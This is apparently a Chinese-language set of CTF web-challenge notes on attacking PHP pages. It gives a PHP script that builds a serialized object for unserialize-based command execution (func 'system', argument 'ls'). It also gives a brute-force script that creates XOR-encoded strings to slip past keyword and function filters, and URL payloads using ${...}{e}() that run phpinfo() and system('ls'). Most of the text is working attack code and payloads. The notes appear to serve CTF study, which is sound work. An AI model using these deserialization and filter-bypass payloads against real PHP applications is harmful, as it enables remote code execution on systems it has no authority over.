页面空空如也时
抓包
入参为两个时,很可能一个是表示函数,另一个表示函数的参数
可以使用file_get_contents(index.php)查看页面源码
源码函数很多,无从下手时,尝试反序列化,下面这段代码可以直接放在phpstudy的www文件目录下,启动phpstudy后,直接打开localhost/xxx.php
<?php
class Test{ var $p="ls"; var $func="system"; } $a=new Test(); echo serialize($a); ?>
反序列化后得到O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";},将其作为函数unserialize的参数,发送包
页面有源码
源码里面过滤关键字符,同时过滤了php的内置函数
使用脚本生成异或取反字符
<?php $payload = '_GET'; $length = strlen($payload); $a = ''; $b = ''; $flag = 0; echo '<br>'; for ($l = 0; $l < $length; $l++) { $flag=0; for ($i = 128; $i < 256; $i++) { for ($j = 128; $j < 256; $j++) { if ((chr($i) ^ chr($j)) === $payload[$l]) { echo urlencode(chr($i)); $a=$a.urlencode(chr($i)); echo '^'; echo urlencode(chr($j)); $b=$b.urlencode(chr($j)); echo '=' . $payload[$l]; echo "<br>"; $flag=1; break; } } if($flag===1){ break; } } } echo $a.'^'.$b;
_GET
用脚本生成的结果是%80%80%80%80^%DF%C7%C5%D4
phpinfo()
在URL中写成?code=${%80%80%80%80^%DF%C7%C5%D4}{e}()&e=phpinfo
system("ls")
?code=${%80%80%80%80^%DF%C7%C5%D4}{e}(${%80%80%80%80^%DF%C7%C5%D4}{v})&e=system&v=ls